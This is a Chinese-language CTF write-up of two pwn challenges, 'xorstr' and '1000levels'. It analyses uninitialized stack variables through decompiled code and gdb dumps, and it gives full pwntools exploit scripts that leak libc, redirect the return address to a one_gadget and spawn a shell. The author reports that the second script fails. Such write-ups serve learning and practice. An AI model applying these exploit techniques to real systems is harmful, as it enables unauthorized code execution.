两个未初始化的弱点利用题~
ais3-2017-final-xorstr
分析
本题依然给了libc,直接运行是如名字一样进行异或操作,只有这一个功能:

检查下保护,发现只有最基本的nx保护:

分析反编译代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
   | int __fastcall xorstr(char *input) {   char s[128];    char result[128]; 
    printf("What do you want to xor :");   read_input(s, 0x80u);                        xorlen = strlen(s);                          for ( count = 0; count < xorlen; ++count )     result[count] = input[count] ^ s[count];   return printf("Result:%s", result); } int process() {   char input[128]; 
    printf("Your string:");   read_input(input, 0x80u);               return xorstr((__int64)input); } int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {   double v3; 
    init(v3);   while ( 1 )     process(); }
   | 
 
如上漏洞出现在xorstr函数中,当输入到s的字符个数刚好为0x80时,不会添加’\0’,观察栈布局,result刚好在s之上,初始时result第一个可能是’\0’,但是这个函数会被循环调用,可能就能控制result的值,于是就能控制xorlen的长度,于是使count超出0x80,result[count]就会溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
   | gdb-peda$ x/40gx 0x7fffffffdf40 0x7fffffffdf40:	0x6262626262626262	0x000000ff00000a62      <-s 0x7fffffffdf50:	0x0000000000000000	0x0000000000000000 0x7fffffffdf60:	0x0000000000000000	0x0000000000000000 0x7fffffffdf70:	0x0000000000000000	0x0000000000000000 0x7fffffffdf80:	0x00007fffffffe050	0x00007fffffffdf90 0x7fffffffdf90:	0x0000000000000000	0x00007fffffffe1c0 0x7fffffffdfa0:	0x0000ff00000000ff	0x0000000000000000 0x7fffffffdfb0:	0x00007fffffffe020	0x0000000000000000
  0x7fffffffdfc0:	0x00007fffffffe050	0x00007ffff7b156f0      <-result 0x7fffffffdfd0:	0x0000000000000080	0x00007fffffffe050 0x7fffffffdfe0:	0x0000000000000000	0x00007ffff7fcf700 0x7fffffffdff0:	0x000000000000000c	0x0000000000000000 0x7fffffffe000:	0x0000000000000000	0x00007ffff7ffe170 0x7fffffffe010:	0x0000000000000005	0x00000000004007ea 0x7fffffffe020:	0x0000008000000000	0x00007fffffffe050 0x7fffffffe030:	0x0000000000000000	0x0000000bf7ffe170
  0x7fffffffe040:	0x00007fffffffe0d0	0x0000000000400999      <-rbp retAddr
  0x7fffffffe050:	0x6161616161616161	0x00000000000a6161      <-input 0x7fffffffe060:	0x00007fffffffe078	0x00007ffff7de30d1 0x7fffffffe070:	0x0000000000000000	0x0000000000000000
   | 
 
这是它们的内存布局与内容,可见bp=s[0x80]=result[0]^input[0x80]而此时result[0]=s[0]^input[0]同理可以推出返回地址,再逆推即可控制返回地址,这里有一个问题就是我们能控制s和input,但是不能控制input后的内容,但是通过观察程序可知input后紧接着rbp与retAddr,而rbp指向栈,可以通过前面的碎片泄露出来,后面指向process里面,这个位置固定,于是可以通过:
1 2 3 4
   | s[0x8:0x10]=0xffffffffffffffff input[0x88:0x90]==0x4009b4 input[0x8:0x10]=one_gadget^s[0x8:0x10]^input[0x88:0x90] ret = s[0x8:0x10]^input[0x8:0x10]^input[0x88:0x90]
   | 
 
这样ret = one_gadget啦,不过还有一件事,要使用one_gadget需要知道libc基址,通过观察发现result[8]处存放的是libc的内容,于是可以先泄露出来,在计算libcbase!
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
   | 
  from pwn import * binary,ip,port = 'xorstr','127.0.0.1',1234 one_gadget = 0xd691f
  def init():     global p     if args.REMOTE:         p = remote(ip,port)     else:         p = process(binary)
  def genP():     s = 'a'*0x80
 
      inp136_144 = p64(0x4009b4)     inp8_16 = p64(one_gadget^u64('a'*8)^u64(inp136_144))
      inp = 'b'*8+inp8_16+'\x00'*10
 
           return inp,s def mySend(inp,s):     p.sendafter('string:',inp)     p.sendafter('to xor :',s)
  if __name__=='__main__':     init()
      mySend('\x00'*0x80,'\x01'*8)     tmp = p.recvuntil('Your')[7+8:-4]     tmp = u64(tmp+(8-len(tmp))*'\x00')     libcbase = tmp-0xdb6f0     print 'libc:',hex(libcbase)     one_gadget += libcbase     print 'one_gadget',hex(one_gadget)     inp,s = genP()     mySend('\x00'*0x80,'\x01'*0x40)                 mySend(inp,s)     p.interactive()
 
  | 
 
结果

HITB-GSEC-CTF-2017-1000levels
分析
提供libc,运行是做计算,输入两次要次数,次数会相加,检查安全:

开了PIE有点难受,分析代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   |  int __cdecl main(int argc, const char **argv, const char **envp) {   int opt; 
    init();   banner();   while ( 1 )   {     while ( 1 )     {       print_menu();       opt = read_num();              if ( opt != 2 )         break;       hint();     }     if ( opt == 3 )       break;     if ( opt == 1 )       go();     else       puts("Wrong input");   }   give_up();   return 0; }
 
  | 
 
main就一个选单,没有什么明显的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
   |  int go(void) {   int v1;    __int64 leve;    __int64 levea;    int v4;    __int64 first;    signed __int64 total;    signed __int64 count;    __int64 v8; 
    puts("How many levels?");   leve = read_num();   if ( leve > 0 )                    first = leve;   else     puts("Coward");   puts("Any more?");   levea = read_num();   total = first + levea;   if ( total > 0 )   {     if ( total <= 999 )     {       count = total;     }     else     {       puts("More levels than before!");       count = 1000LL;     }     puts("Let's go!'");     v4 = time(0LL);     if ( (unsigned int)level(count) != 0 )     {       v1 = time(0LL);       sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", count, (unsigned int)(v1 - v4), levea);       puts((const char *)&v8);     }     else     {       puts("You failed.");     }     exit(0);   }   return puts("Coward"); }
 
  | 
 
如上,当leve不大于0时,first没有被初始化且未被赋值,直接使用将会出现问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   |  _BOOL8 __fastcall level(signed int count) {   __int64 v2;    char buf[32];    unsigned int v4;    unsigned int v5;    unsigned int v6;    int i; 
    *(_QWORD *)buf = 0LL;   *(_QWORD *)&buf[8] = 0LL;   *(_QWORD *)&buf[16] = 0LL;   *(_QWORD *)&buf[24] = 0LL;   if ( !count )     return 1LL;   if ( (unsigned int)level(count - 1) == 0 )     return 0LL;   v6 = rand() % count;   v5 = rand() % count;   v4 = v5 * v6;   puts("====================================================");   printf("Level %d\n", (unsigned int)count);   printf("Question: %d * %d = ? Answer:", v6, v5);   for ( i = read(0, buf, 0x400uLL); i & 7; ++i )                 buf[i] = 0;   v2 = strtol(buf, 0LL, 10);   return v2 == v4; }
 
  | 
 
如上一个明显的栈溢出,但是开了PIE有没有什么泄露,不能覆盖到有效的地址。
1 2 3 4 5 6 7 8 9 10
   | int hint(void) {   char hintStr[264]; 
    if ( show_hint )     sprintf(hintStr, "Hint: %p\n", &system);   else     strcpy(hintStr, "NO PWN NO FUN");   return puts(hintStr); }
   | 
 
hint很关键,直接看似乎没什么问题,show_hint在bss处不能被改写,第一个分支进不去,但是看反汇编代码:
(/image1/2018-01-07-15-51-36.png)
无论是否要进入分支,他都会把数据放栈上,若在go里面这个数据未被覆盖能拿来用,那将是可利用的,幸运的是,他的确就在上面的分析的first上,他们处于同一地址,那么第一次输入0时,first的值将位system的地址,另外total = first + levea;的leavea是可控的,于是又控制了栈上一个数据,这样就有两种思路:
- go可循环进入,当
total<=0时会返回Coward,于是从高到低即可爆出system的地址,知道地址即可覆盖返回地址,此时可以使用libc中的gadget构造system(“sh”),也可以直接使用one_gadget 
- 直接使用one_gadget,将total改写为其地址,只需要在level函数返回时ret滑行即可到达total,这样的难点就是差一个ret gadget的地址了,开了pie其他部分都随机,可以利用vsyscall
 
代码
这里使用第二种方式,使用vsyscall,它的地址为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
   | 
  from pwn import * binary,ip,port = '1000levels','127.0.0.1',1234 one_gadget = 0x3f2d6 offset = one_gadget-0x000000000003f450 retAddr = 0xffffffffff600000 def init():     global p     if args.REMOTE:         p = remote(ip,port)     else:         p = process(binary)
  def hint():
 
      p.sendlineafter('Choice:\n','2') def play():     p.recvuntil('Question: ')     expr = p.recvuntil('=')[:-1]     result = eval(expr)     log.info(expr+str(result))     p.sendlineafter('Answer:',str(result))
  def go():     p.sendlineafter('Choice:\n','1')
 
      p.sendlineafter('levels?\n','0')
      p.sendlineafter('more?\n',str(offset))     for _ in range(999):         play()     payload = 'a'*0x38+p64(retAddr)*3
      p.send(payload)     p.interactive() if __name__=='__main__':     init()     hint()     go()     p.interactive()
 
  | 
 
然鹅失败了,不知道为什么vsyscall上会出现段错误。。。
参考
https://github.com/briansp8210/CTF-writeup/tree/master/AIS3-2017-final
http://www.cnblogs.com/wangaohui/p/7122653.html